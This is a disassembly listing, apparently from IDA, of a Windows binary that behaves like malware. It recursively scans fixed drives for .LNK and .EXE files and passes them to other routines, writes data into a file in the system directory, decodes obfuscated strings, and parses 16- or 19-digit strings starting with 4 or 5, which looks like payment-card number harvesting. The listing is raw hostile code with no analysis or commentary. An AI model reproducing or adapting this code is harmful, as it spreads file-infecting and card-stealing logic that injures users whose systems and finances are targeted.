; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D357	proc near		; CODE XREF: sub_43963B+3Ep
					; sub_43D357+2D8p ...

var_252		= byte ptr -252h
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		cmp	[ebp+arg_8], 0
		jz	short loc_43D385
		mov	eax, dword_44A1E8
		add	eax, dword_44A0B8
		sub	eax, 4
		mov	[ebp+var_248], eax
		jmp	loc_43D415
; ---------------------------------------------------------------------------


loc_43D385:				; CODE XREF: sub_43D357+13j
		mov	edx, [ebp+arg_4]
		mov	ecx, dword_44A1C4
		add	ecx, dword_44A1CC
		sub	ecx, 0Bh
		cmp	ds:dword_446630[edx*4],	ecx
		jnz	short loc_43D3B6
		push	ebx
		call	ds:dword_44660C	; FindClose
		mov	eax, dword_44A1B8
		sub	eax, 4
		push	eax
		call	ds:dword_449664	; ExitThread


loc_43D3B6:				; CODE XREF: sub_43D357+47j
		mov	eax, dword_44A154
		add	eax, 5Dh
		add	eax, dword_44A18C
		mov	[ebp+var_248], eax
		push	offset byte_44B0B9
		call	sub_43C507
		push	[ebp+arg_4]
		push	eax
		lea	edx, [ebp+var_252]
		push	edx
		call	ds:dword_449634
		add	esp, 10h
		lea	eax, [ebp+var_252]
		push	eax
		call	ds:dword_449668	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_43D415
		movsx	eax, word_44A22C
		movsx	edx, word_44A144
		lea	eax, [eax+edx+11Fh]
		mov	[ebp+var_248], eax


loc_43D415:				; CODE XREF: sub_43D357+29j
					; sub_43D357+A1j
		xor	edi, edi
		inc	edi
		push	offset word_44B0B2
		call	sub_43C507
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_449634
		add	esp, 10h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43D439:				; CODE XREF: sub_43D357+E7j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D439
		movsx	ecx, word_44A1DC
		add	ecx, 4
		mov	edx, eax
		sub	edx, ecx
		cmp	byte ptr [esi+edx], 2Eh
		jnz	loc_43D4EF
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_43D45D:				; CODE XREF: sub_43D357+10Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D45D
		mov	ecx, dword_44A128
		sub	ecx, 5
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_444030
		add	esp, 4
		cmp	eax, 4Ch
		jnz	short loc_43D4EF
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_43D489:				; CODE XREF: sub_43D357+137j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D489
		mov	edx, eax
		mov	ecx, dword_44A248
		movsx	eax, word_44A0BC
		add	ecx, eax
		sub	ecx, 6
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_444030
		add	esp, 4
		cmp	eax, 4Eh
		jnz	short loc_43D4EF
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_43D4BE:				; CODE XREF: sub_43D357+16Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D4BE
		movsx	ecx, word_44A150
		sub	ecx, 6
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_444030
		add	esp, 4
		cmp	eax, 4Bh
		jnz	short loc_43D4EF
		push	esi
		call	sub_43BD90
		add	esp, 4


loc_43D4EF:				; CODE XREF: sub_43D357+FBj
					; sub_43D357+12Bj ...
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43D4F4:				; CODE XREF: sub_43D357+1A2j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D4F4
		movsx	ecx, word_44A0BC
		add	ecx, dword_44A1F4
		sub	ecx, 8
		mov	edx, eax
		sub	edx, ecx
		cmp	byte ptr [esi+edx], 2Eh
		jnz	loc_43D5C2
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_43D51E:				; CODE XREF: sub_43D357+1CCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D51E
		movsx	ecx, word_44A0CC
		add	ecx, dword_44A1B0
		sub	ecx, 0Ah
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_444030
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_43D5C2
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_43D551:				; CODE XREF: sub_43D357+1FFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D551
		mov	ecx, dword_44A278
		add	ecx, dword_44A20C
		sub	ecx, 5
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_444030
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_43D5C2
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_43D583:				; CODE XREF: sub_43D357+231j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D583
		mov	edx, eax
		mov	ecx, dword_44A134
		movsx	eax, word_44A250
		add	ecx, eax
		sub	ecx, 7
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	ds:dword_444030
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_43D5C2
		push	[ebp+var_248]
		push	esi
		call	sub_44029C
		add	esp, 8


loc_43D5C2:				; CODE XREF: sub_43D357+1BCj
					; sub_43D357+1F3j ...
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_447258	; FindFirstFileA
		mov	ebx, eax
		movsx	eax, word_44A22C
		movsx	edx, word_44A104
		add	eax, edx
		sub	eax, 0Eh
		neg	eax
		cmp	ebx, eax
		jz	loc_43D6AC
		cmp	[ebp+var_112], 2Eh
		jz	loc_43D6A8
		push	offset byte_44B0A9
		call	sub_43C507
		lea	edx, [ebp+var_112]
		push	edx
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_449634
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_43D357
		add	esp, 20h
		jmp	short loc_43D6A8
; ---------------------------------------------------------------------------


loc_43D639:				; CODE XREF: sub_43D357+353j
		lea	eax, [ebp+var_13E]
		push	eax
		push	ebx
		call	ds:dword_445004	; FindNextFileA
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43D66A
		mov	eax, [ebp+var_248]
		add	eax, ds:dword_449638
		push	eax
		call	ds:dword_449630
		pop	ecx
		push	ebx
		call	ds:dword_44660C	; FindClose
		jmp	short loc_43D6AC
; ---------------------------------------------------------------------------


loc_43D66A:				; CODE XREF: sub_43D357+2F4j
		cmp	[ebp+var_112], 2Eh
		jz	short loc_43D6A8
		push	offset dword_44B0A0
		call	sub_43C507
		lea	edx, [ebp+var_112]
		push	edx
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_449634
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_43D357
		add	esp, 20h


loc_43D6A8:				; CODE XREF: sub_43D357+2A5j
					; sub_43D357+2E0j ...
		or	edi, edi
		jnz	short loc_43D639


loc_43D6AC:				; CODE XREF: sub_43D357+298j
					; sub_43D357+311j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D6B1	proc near		; CODE XREF: sub_43EC0A+2F3p

var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_44A23C
		sub	eax, 5
		mov	[ebp+var_4], eax
		jmp	short loc_43D6DD
; ---------------------------------------------------------------------------


loc_43D6C7:				; CODE XREF: sub_43D6B1+40j
		mov	eax, 30h
		mul	[ebp+var_4]
		mov	[ebp+var_20], eax
		and	ds:dword_447370[eax], 0
		inc	[ebp+var_4]


loc_43D6DD:				; CODE XREF: sub_43D6B1+14j
		movsx	eax, word_44A264
		mov	edx, dword_44A0A0
		lea	eax, [eax+edx+57h]
		cmp	[ebp+var_4], eax
		jb	short loc_43D6C7
		push	0
		call	ds:dword_4460D0
		push	offset dword_44A394
		push	offset dword_44BAB8
		push	7
		push	0
		push	offset dword_44B9F8
		call	ds:dword_446624
		mov	ebx, eax
		mov	eax, dword_44A11C
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_43D8D9
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, dword_44A394
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		mov	eax, dword_44A190
		sub	eax, 2
		cmp	ebx, eax
		jnz	short loc_43D759
		mov	eax, dword_44A10C
		movsx	edx, word_44A208
		add	eax, edx
		sub	eax, 0Bh
		cmp	[ebp+var_C], eax
		jnz	short loc_43D75E


loc_43D759:				; CODE XREF: sub_43D6B1+90j
		jmp	loc_43D869
; ---------------------------------------------------------------------------


loc_43D75E:				; CODE XREF: sub_43D6B1+A6j
		mov	eax, dword_44A1D4
		movsx	edx, word_44A130
		add	eax, edx
		sub	eax, 5
		mov	[ebp+var_8], eax
		jmp	loc_43D85D
; ---------------------------------------------------------------------------


loc_43D777:				; CODE XREF: sub_43D6B1+1B2j
		mov	[ebp+var_38], 3
		mov	eax, [ebp+var_8]
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	esi, [ebp+var_38]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, dword_44A394
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		movsx	eax, word_44A144
		add	eax, dword_44A0A0
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_43D85A
		lea	eax, [ebp+var_40]
		push	eax
		push	offset dword_44BAD8
		mov	eax, [ebp+var_3C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44A1D0
		movsx	edx, word_44A264
		add	eax, edx
		sub	eax, 10h
		cmp	ebx, eax
		jnz	short loc_43D851
		lea	eax, off_44A390
		mov	[ebp+var_24], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_44]
		push	eax
		push	offset dword_44BA18
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44A110
		sub	eax, 5
		cmp	ebx, eax
		jnz	short loc_43D83F
		lea	eax, [ebp+var_48]
		push	eax
		push	offset dword_44BA18
		push	[ebp+var_44]
		push	[ebp+var_40]
		call	sub_43F63D
		add	esp, 10h
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_44]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43D83F:				; CODE XREF: sub_43D6B1+169j
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43D851:				; CODE XREF: sub_43D6B1+136j
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43D85A:				; CODE XREF: sub_43D6B1+105j
		inc	[ebp+var_8]


loc_43D85D:				; CODE XREF: sub_43D6B1+C1j
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_43D777


loc_43D869:				; CODE XREF: sub_43D6B1:loc_43D759j
		lea	eax, off_44A3B4
		mov	[ebp+var_10], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_44BA08
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr ds:0[esi]
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_44BA08
		push	[ebp+var_14]
		push	dword_44A394
		call	sub_43F63D
		add	esp, 10h
		mov	[ebp+var_18], eax
		mov	ecx, dword_44A1CC
		add	ecx, dword_44A0EC
		sub	ecx, 0Ah
		cmp	eax, ecx
		jnz	short loc_43D8D9
		mov	eax, dword_44A394
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		and	dword_44A394, 0


loc_43D8D9:				; CODE XREF: sub_43D6B1+6Fj
					; sub_43D6B1+214j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D6B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D8DE	proc near		; CODE XREF: sub_43AF47+327p
					; sub_43AF47+3B2p

var_16C		= byte ptr -16Ch
var_168		= byte ptr -168h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 16Ch
		push	ebx
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_446600	; GetSystemDirectoryA
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_43F85A
		push	offset byte_44B09B
		call	sub_43C507
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_444020
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_444020
		push	offset byte_44B093
		call	sub_43C507
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	ds:dword_444020
		add	esp, 24h
		push	0
		push	80h
		push	4
		push	0
		movsx	eax, word_44A0D0
		sub	eax, 7
		push	eax
		push	40000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_449788	; CreateFileA
		mov	edi, eax
		push	0
		push	0
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_449B9C	; SetFilePointer
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43D98F:				; CODE XREF: sub_43D8DE+B6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D98F
		mov	esi, eax
		push	0
		lea	ebx, [ebp+var_16C]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		push	edi
		call	ds:dword_449B8C	; WriteFile
		push	edi
		call	ds:dword_448654	; CloseHandle
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D8DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D9B8	proc near		; DATA XREF: sub_439B7B+9Bo

var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_210]
		push	eax
		push	offset dword_4460F0
		call	sub_44047F
		add	esp, 8
		mov	[ebp+var_208], eax
		test	eax, eax
		jnz	short loc_43D9E9
		xor	eax, eax
		jmp	loc_43DB86
; ---------------------------------------------------------------------------


loc_43D9E9:				; CODE XREF: sub_43D9B8+28j
		mov	eax, dword_44A0EC
		add	eax, dword_44A0DC
		sub	eax, 3
		mov	[ebp+var_204], eax


loc_43D9FD:				; CODE XREF: sub_43D9B8+1BAj
		mov	eax, [ebp+var_204]
		mov	edx, [ebp+var_208]
		lea	ecx, [edx+eax]
		or	eax, 0FFFFFFFFh


loc_43DA0F:				; CODE XREF: sub_43D9B8+5Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43DA0F
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0FFh
		jnb	short loc_43DA53
		mov	eax, [ebp+var_204]
		movsx	edx, word_44A230
		add	edx, dword_44A1E8
		sub	edx, 6
		add	eax, edx
		add	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_442F8C


loc_43DA53:				; CODE XREF: sub_43D9B8+6Ej
		mov	eax, dword_44A0C8
		mov	esi, eax
		add	esi, dword_44A1D4
		sub	esi, 2
		jmp	short loc_43DA8A
; ---------------------------------------------------------------------------


loc_43DA65:				; CODE XREF: sub_43D9B8+E4j
		cmp	[ebp+esi+var_FF], 28h
		jnz	short loc_43DA77
		mov	[ebp+esi+var_FF], 2Bh


loc_43DA77:				; CODE XREF: sub_43D9B8+B5j
		cmp	[ebp+esi+var_FF], 29h
		jnz	short loc_43DA89
		mov	[ebp+esi+var_FF], 3Dh


loc_43DA89:				; CODE XREF: sub_43D9B8+C7j
		inc	esi


loc_43DA8A:				; CODE XREF: sub_43D9B8+ABj
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh


loc_43DA93:				; CODE XREF: sub_43D9B8+E0j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43DA93
		cmp	esi, eax
		jb	short loc_43DA65
		push	0FFh
		lea	eax, [ebp+var_1FE]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_438348
		add	esp, 0Ch
		mov	ebx, eax
		mov	eax, dword_44A158
		mov	edi, eax
		add	edi, dword_44A20C
		sub	edi, 0Fh
		jmp	short loc_43DAFB
; ---------------------------------------------------------------------------


loc_43DACD:				; CODE XREF: sub_43D9B8+145j
		movsx	eax, [ebp+edi+var_1FE]
		mov	[ebp+var_218], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_21C], eax
		mov	eax, [ebp+var_218]
		mov	edx, [ebp+var_21C]
		sub	eax, edx
		mov	[ebp+edi+var_1FE], al
		inc	edi


loc_43DAFB:				; CODE XREF: sub_43D9B8+113j
		cmp	edi, ebx
		jb	short loc_43DACD
		mov	eax, dword_44A110
		add	eax, dword_44A094
		sub	eax, 0Ah
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1FE]
		push	eax
		call	sub_4384B5
		add	esp, 0Ch
		mov	[ebp+var_214], eax
		mov	eax, dword_44A140
		add	eax, 0FFF6h
		cmp	[ebp+var_214], eax
		jz	short loc_43DB49
		push	[ebp+var_208]
		call	ds:dword_44661C	; LocalFree
		xor	eax, eax
		inc	eax
		jmp	short loc_43DB86
; ---------------------------------------------------------------------------


loc_43DB49:				; CODE XREF: sub_43D9B8+17Ej
		mov	eax, [ebp+var_20C]
		mov	edx, dword_44A274
		add	edx, dword_44A0A8
		sub	edx, 2
		add	eax, edx
		add	[ebp+var_204], eax
		mov	eax, [ebp+var_210]
		cmp	[ebp+var_204], eax
		jb	loc_43D9FD
		push	[ebp+var_208]
		call	ds:dword_44661C	; LocalFree
		xor	eax, eax


loc_43DB86:				; CODE XREF: sub_43D9B8+2Cj
					; sub_43D9B8+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D9B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DB8B	proc near		; CODE XREF: sub_43858C+BA9p

var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C6		= byte ptr -2C6h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_253		= byte ptr -253h
var_23F		= byte ptr -23Fh
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_106		= byte ptr -106h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
var_102		= word ptr -102h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
var_FE		= byte ptr -0FEh
var_F5		= byte ptr -0F5h
var_F4		= byte ptr -0F4h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 324h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	loc_43EBBA
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		cmp	al, 34h
		jz	short loc_43DBB2
		cmp	al, 35h
		jnz	loc_43EBBA


loc_43DBB2:				; CODE XREF: sub_43DB8B+1Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43DBBA:				; CODE XREF: sub_43DB8B+34j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43DBBA
		mov	[ebp+var_128], eax
		mov	edx, dword_44A1AC
		add	edx, 0Bh
		cmp	eax, edx
		jz	short loc_43DBE6
		movsx	edx, word_44A118
		add	edx, 10h
		cmp	eax, edx
		jnz	loc_43EBBA


loc_43DBE6:				; CODE XREF: sub_43DB8B+47j
		mov	ebx, dword_44A254
		sub	ebx, 9
		jmp	short loc_43DC15
; ---------------------------------------------------------------------------


loc_43DBF1:				; CODE XREF: sub_43DB8B+94j
		mov	eax, 30h
		mul	ebx
		mov	[ebp+var_260], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_260]
		cmp	ds:dword_447370[edx], eax
		jz	loc_43EBBA
		inc	ebx


loc_43DC15:				; CODE XREF: sub_43DB8B+64j
		mov	eax, dword_44A138
		add	eax, 64h
		cmp	ebx, eax
		jb	short loc_43DBF1
		mov	eax, dword_44A234
		add	eax, 0Fh
		cmp	[ebp+var_128], eax
		jnz	loc_43DE00
		mov	eax, [ebp+arg_0]
		mov	al, [eax+4]
		cmp	al, 2Dh
		jz	short loc_43DC47
		cmp	al, 20h
		jnz	loc_43EBBA


loc_43DC47:				; CODE XREF: sub_43DB8B+B2j
		mov	eax, [ebp+arg_0]
		mov	al, [eax+9]
		cmp	al, 2Dh
		jz	short loc_43DC59
		cmp	al, 20h
		jnz	loc_43EBBA


loc_43DC59:				; CODE XREF: sub_43DB8B+C4j
		mov	eax, [ebp+arg_0]
		mov	al, [eax+0Eh]
		cmp	al, 2Dh
		jz	short loc_43DC6B
		cmp	al, 20h
		jnz	loc_43EBBA


loc_43DC6B:				; CODE XREF: sub_43DB8B+D6j
		mov	eax, dword_44A1AC
		mov	edx, [ebp+arg_0]
		mov	dl, [edx]
		mov	[ebp+eax+var_104], dl
		mov	eax, dword_44A270
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+1]
		mov	byte ptr [ebp+eax+var_102], dl
		mov	eax, dword_44A1D4
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+2]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word_44A100
		movsx	edx, word_44A174
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+3]
		mov	[ebp+eax+var_106], dl
		mov	eax, dword_44A220
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+5]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_44A10C
		add	eax, dword_44A248
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+6]
		mov	[ebp+eax+var_100], dl
		movsx	eax, word_44A208
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+7]
		mov	[ebp+eax+var_FE], dl
		mov	eax, dword_44A0F8
		movsx	edx, word_44A230
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+8]
		mov	[ebp+eax+var_105], dl
		mov	eax, dword_44A15C
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ah]
		mov	[ebp+eax+var_100], dl
		movsx	eax, word_44A0A4
		mov	edx, dword_44A0AC
		lea	eax, [eax+edx+2]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Bh]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_44A154
		inc	eax
		add	eax, dword_44A1A8
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ch]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word_44A24C
		mov	edx, dword_44A18C
		lea	eax, [eax+edx+2]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Dh]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_44A0DC
		add	eax, 6
		movsx	edx, word_44A1F0
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Fh]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word_44A260
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+10h]
		mov	[ebp+eax+var_F4], dl
		movsx	eax, word_44A230
		movsx	edx, word_44A16C
		lea	eax, [eax+edx+7]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+11h]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_44A094
		add	eax, 4
		add	eax, dword_44A17C
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+12h]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_44A19C
		mov	edx, dword_44A0D4
		sub	edx, 6
		mov	[ebp+eax+var_F5], dl
		jmp	short loc_43DE0F
; ---------------------------------------------------------------------------


loc_43DE00:				; CODE XREF: sub_43DB8B+A4j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_442F8C


loc_43DE0F:				; CODE XREF: sub_43DB8B+273j
		mov	eax, dword_44A158
		mov	esi, eax
		add	esi, dword_44A25C
		sub	esi, 11h
		jmp	short loc_43DE36
; ---------------------------------------------------------------------------


loc_43DE21:				; CODE XREF: sub_43DB8B+2B9j
		mov	al, [ebp+esi+var_FF]
		cmp	al, 30h
		jl	short loc_43DE30
		cmp	al, 39h
		jle	short loc_43DE35


loc_43DE30:				; CODE XREF: sub_43DB8B+29Fj
		jmp	loc_43EBBA
; ---------------------------------------------------------------------------


loc_43DE35:				; CODE XREF: sub_43DB8B+2A3j
		inc	esi


loc_43DE36:				; CODE XREF: sub_43DB8B+294j
		mov	eax, dword_44A20C
		inc	eax
		add	eax, dword_44A214
		cmp	esi, eax
		jb	short loc_43DE21
		mov	eax, dword_44A210
		add	eax, dword_44A1A8
		sub	eax, 3
		mov	[ebp-108h], eax
		mov	eax, dword_44A1AC
		movsx	edx, word_44A180
		mov	esi, eax
		add	esi, edx
		sub	esi, 9
		jmp	short loc_43DEBA
; ---------------------------------------------------------------------------


loc_43DE6F:				; CODE XREF: sub_43DB8B+339j
		movsx	eax, [ebp+esi+var_FF]
		sub	eax, 30h
		movsx	edx, word_44A100
		movsx	ecx, word_44A104
		add	edx, ecx
		sub	edx, 9
		imul	eax, edx
		add	[ebp-108h], eax
		cmp	[ebp+esi+var_FF], 34h
		jle	short loc_43DEB0
		movsx	eax, word_44A250
		add	eax, 8
		sub	[ebp-108h], eax


loc_43DEB0:				; CODE XREF: sub_43DB8B+313j
		mov	eax, dword_44A1B8
		sub	eax, 3
		add	esi, eax


loc_43DEBA:				; CODE XREF: sub_43DB8B+2E2j
		mov	eax, dword_44A268
